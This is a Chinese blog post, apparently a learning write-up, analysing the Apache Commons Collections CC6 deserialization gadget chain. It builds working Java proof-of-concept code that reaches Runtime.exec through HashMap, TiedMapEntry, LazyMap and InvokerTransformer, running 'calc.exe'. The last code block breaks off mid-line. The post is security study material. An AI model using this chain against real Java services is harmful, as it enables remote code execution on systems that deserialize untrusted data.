CC6...
Posted Zero_Adam
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CC6...相关的知识,希望对你有一定的参考价值。
目录......
标题要大于5个字,弄了一会,,原来是最上面的标题。
1. 前言…
接着P神的CC1,往后分析,CC1是真能够解决8u71
之前的使用的,遇到的问题就是CC1
用到了AnnotationInvocationHandler
类,但是AnnotationInvocationHandler
类的readObject()
方法在8u71
以后逻辑就发生了改变,不能再利用了,所以需要找一个可以解决高版本Java
的利用链。
先看P神的简化调用链:
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
看着链子大致就能懂了,反序列化的对象是HashMap
对象。联想一下URLDNS
,HashMap
的readObject
中调用了hash()
,hash()
函数中调用了key
的hashCode()
,TiedMapEntry
的hashCode()
函数:
我们需要看的主要是从最开始到 org.apache.commons.collections.map.LazyMap.get()
的那⼀部分,因为LazyMap#get()
后⾯的部分在上⼀篇⽂章⾥已经说了
所以简单来说,解决Java高版本利用问题,就是找上下文中是否还有其他调用 LazyMap#get()
的地方, ,get()
不存在的键的时候,就会调用transform()
方法,
2. 分析CC6…
我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry
,在其 getValue()
⽅法中调⽤了 this.map.get()
,⽽其hashCode⽅法
调⽤了getValue⽅法
。
2.1 TiedMapEnrty…
还是看一下源码:
翻译:一个绑定到下面的map的一个map entry,它能让一个map enrty 来改变底层map,然后,这可能会弄乱任何一个迭代器。 。 翻译的一塌糊涂,,,
/**
* A Map Entry tied to a map underneath.
* <p>
* This can be used to enable a map entry to make changes on the underlying
* map, however this will probably mess up any iterators.
*
* @since Commons Collections 3.0
* @version $Revision: 1.5 $ $Date: 2004/04/09 14:35:10 $
*
* @author Stephen Colebourne
*/
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable
构造方法: 翻译:用给定的map和key来创建一个新的entry
/**
* Constructs a new entry with the given Map and key.
*
* @param map the map
* @param key the key
*/
public TiedMapEntry(Map map, Object key)
super();
this.map = map;
this.key = key;
hashCode()
/**
* Gets a hashCode compatible with the equals method.
* <p>
* Implemented per API documentation of @link java.util.Map.Entry#hashCode()
*
* @return a suitable hash code
*/
public int hashCode()
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
getvalue()
/**
* Gets the value of this entry direct from the map.
*
* @return the value
*/
public Object getValue()
return map.get(key);
这里的map
,我们应该是要替换为LazyMap
的
所以,要触发LazyMap
利用链,那么就是要找哪里利用了TiedMapEntry#hashCode()
。
这个是 HashMap
的 hash()
static final int hash(Object key)
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
ysoserial
中,是利⽤ java.util.HashSet#readObject
到 HashMap#put()
到HashMap#hash(key)
最后到 TiedMapEntry#hashCode()
。
实际上 P神 发现,在 java.util.HashMap#readObject
中就可以找到HashMap#hash()
的调⽤,去掉了最前⾯的两次调用,然后给 HashMap
传入参数是TiedMapEntry
,然后走 TiedMapEntry#hashCode()
。然后TiedMapEntry#getValue()
。然后LazyMap#get()
。。
需要我们给 HashMap
传入参数是TiedMapEntry
。给TiedMapEntry
传参LazyMap
。
/**
* Reconstitute the @code HashMap instance from a stream (i.e.,
* deserialize it).
*/
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++)
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
readObject()
中就有hash(key)
, 那么我们就让这个key
是TiedMapEntry
就行了
static final int hash(Object key)
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
TiedMapEntry
的构造方法和 getValue
, 那么 这个的第一个参数就是 LazyMap
了。
public TiedMapEntry(Map map, Object key)
super();
this.map = map;
this.key = key;
public Object getValue()
return map.get(key);
来Gadget!
2.2 开始构造 poc
先来上 CC1 的后边部分 ,这个是 LazyMap.put()
方法触发计算器的那个东西,
package ysoserial.test.adamtest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc6demo1
public static void main(String[] args) throws Exception
Transformer[] transformers = new Transformer[]
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]String.class,
Class[].class, new Object[]"getRuntime",
new Class[0]),
new InvokerTransformer("invoke", new Class[]Object.class,
Object[].class, new Object[]null, new Object[0]
),
new InvokerTransformer("exec", new Class[]String.class,
new String[]
"calc.exe"),
;
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
Object o = outerMap.get("1");
我一开始写的这个,和feng师傅一样,,
package ysoserial.test.adamtest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc6demo1
public static void main(String[] args) throws Exception
Transformer[] fakeTransformers = new Transformer[]new ConstantTransformer(1);
Transformer[] transformers = new Transformer[]
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]String.class,
Class[].class, new Object[]"getRuntime",
new Class[0]),
new InvokerTransformer("invoke", new Class[]Object.class,
Object[].class, new Object[]null, new Object[0]
),
new InvokerTransformer("exec", new Class[]String.class,
new String[]
"calc.exe"),
;
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap,"adamkey");
Map map = new HashMap<>();
map.put(tme,"value");
byte[] bytes = serialize(map);
System.out.println(bytes.toString());
unserialize(bytes);
private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException
ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
ois.readObject();
private static byte[] serialize(Object o) throws IOException
ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
// 这里是用 ByteArrayOutputStram()来盛放。
ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
oos.writeObject(o);
return baos.toByteArray();
出现的第一个问题就是,我在这里就直接弹计算器了,后来P神说是intellij在debug的时候会调用一些toString()
,然后就会执行
map.put(tme,"value");
就利用了一下P神的思路,在序列化之前用一个没影响的Transformer[]
,也就是fakeTransformers
,
为了避免本地调试时触发命令执
⾏,我构造 LazyMap
的时候先⽤了⼀个⼈畜⽆害的 fakeTransformers
对象,等最后要⽣成Payload
的
时候,再把真正的 transformers
替换进去
package ysoserial.test.adamtest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc6demo1
public static void main(String[] args) throws Exception
Transformer[] fakeTransformers = new Transformer[]new ConstantTransformer(1);
Transformer[] transformers = new Transformer[]
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer(
"getMethod",
new Class[]String.class, Class[].class,
new Object[]"getRuntime", new Class[0]
),
new InvokerTransformer(
"invoke",
new Class[]Object.class, Object[].class,
new Object[]null, new Object[0]
),
new InvokerTransformer(
"exec",
new Class[]String.class,
new StringCC6...